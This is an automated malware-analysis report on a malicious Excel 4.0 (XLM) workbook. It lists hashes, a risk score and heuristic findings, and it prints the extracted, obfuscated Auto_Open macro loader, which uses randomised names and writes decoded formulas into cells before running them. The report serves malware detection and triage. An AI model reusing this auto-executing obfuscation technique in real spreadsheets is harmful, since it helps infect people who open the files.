Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 95c6dcbf17c5caa9…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:30 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 228caf40de0413b9dc45d5e0fb706543 SHA-1: a2e81f10b6bb57c62adbb4a72538becedec9852c SHA-256: 95c6dcbf17c5caa9ad0c5695eef7677d5efa313cde51b4611991e4f3f69932b7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6638 bytes
SHA-256: e8de72095a701d7326ac6cc2126a641e3968bb4d9fc4a44c6aa1c7c24bed808c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sdMNxWdZN
' 0018     27 LABEL : Cell Value, String Constant - asCIGoSgLRqC len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C159 
' 0018     23 LABEL : Cell Value, String Constant - cEOOrlJH len=0 
' 0018     27 LABEL : Cell Value, String Constant - defNFjPZhUZL len=0 
' 0018     25 LABEL : Cell Value, String Constant - ECeyddqBtr len=0 
' 0018     20 LABEL : Cell Value, String Constant - eSPEf len=0 
' 0018     21 LABEL : Cell Value, String Constant - FvhHIO len=0 
' 0018     25 LABEL : Cell Value, String Constant - GGlifahkZG len=0 
' 0018     24 LABEL : Cell Value, String Constant - HuYFwdZnp len=0 
' 0018     21 LABEL : Cell Value, String Constant - Izhtac len=0 
' 0018     22 LABEL : Cell Value, String Constant - Jwcevvb len=0 
' 0018     23 LABEL : Cell Value, String Constant - JwGxUYaP len=0 
' 0018     27 LABEL : Cell Value, String Constant - QklrgunjbSxT len=0 
' 0018     24 LABEL : Cell Value, String Constant - qpBfElTgV len=0 
' 0018     22 LABEL : Cell Value, String Constant - TSStQsB len=0 
' 0018     27 LABEL : Cell Value, String Constant - uBdVRWSqvanE len=0 
' 0018     25 LABEL : Cell Value, String Constant - VJqTHayrKI len=0 
' 0018     24 LABEL : Cell Value, String Constant - vMLENmmFl len=0 
' 0018     23 LABEL : Cell Value, String Constant - ySUKIwgR len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZIjYARLc len=0 
' 0018     24 LABEL : Cell Value, String Constant - zrtvCZYfz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sdMNxWdZN,C67,"SET.NAME("TSStQsB",VALUE("0"))",""
'  sdMNxWdZN,C71,"SET.NAME("FvhHIO",TSStQsB)",""
'  sdMNxWdZN,C73,"SET.NAME("Jwcevvb",TSStQsB)",""
'  sdMNxWdZN,C78,"SET.NAME("ySUKIwgR",COUNTA(vMLENmmFl))",""
'  sdMNxWdZN,C80,"SET.NAME("ECeyddqBtr",COUNTA(JwGxUYaP))",""
'  sdMNxWdZN,C85,[],""
'  sdMNxWdZN,C90,"SET.NAME("VJqTHayrKI","")",""
'  sdMNxWdZN,C93,"FvhHIO",""
'  sdMNxWdZN,C95,"SET.NAME("uBdVRWSqvanE",HLOOKUP("*",vMLENmmFl,FvhHIO,FALSE))",""
'  sdMNxWdZN,C98,"asCIGoSgLRqC",""
'  sdMNxWdZN,C100,"SET.NAME("qpBfElTgV",TSStQsB)",""
'  sdMNxWdZN,C103,[],""
'  sdMNxWdZN,C106,"qpBfElTgV",""
'  sdMNxWdZN,C109,"zrtvCZYfz",""
'  sdMNxWdZN,C112,"cEOOrlJH",""
'  sdMNxWdZN,C115,"Izhtac",""
'  sdMNxWdZN,C117,"SET.NAME("GGlifahkZG",VALUE(HLOOKUP("*",JwGxUYaP,Izhtac,FALSE)))",""
'  sdMNxWdZN,C122,"ZIjYARLc",""
'  sdMNxWdZN,C127,"VJqTHayrKI",""
'  sdMNxWdZN,C131,"Jwcevvb",""
'  sdMNxWdZN,C136,NEXT(),""
'  sdMNxWdZN,C141,"QklrgunjbSxT",""
'  sdMNxWdZN,C145,"SET.NAME("f",INT(T(FORMULA(T(VJqTHayrKI)&"",""&T(QklrgunjbSxT)))))",""
'  sdMNxWdZN,C149,"eSPEf",""
'  sdMNxWdZN,C151,NEXT(),""
'  sdMNxWdZN,C156,RETURN(),""
'  sdMNxWdZN,C179,"SET.NAME("HuYFwdZnp",C67)",""
'  sdMNxWdZN,C181,"vMLENmmFl",""
'  sdMNxWdZN,C185,"SET.NAME("JwGxUYaP",R84C12)",""
'  sdMNxWdZN,C187,"SET.NAME("eSPEf",195)",""
'  sdMNxWdZN,C189,"SET.NAME("defNFjPZhUZL",3)",""
'  sdMNxWdZN,C194,HuYFwdZnp(),""
'  sdMNxWdZN,C195,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.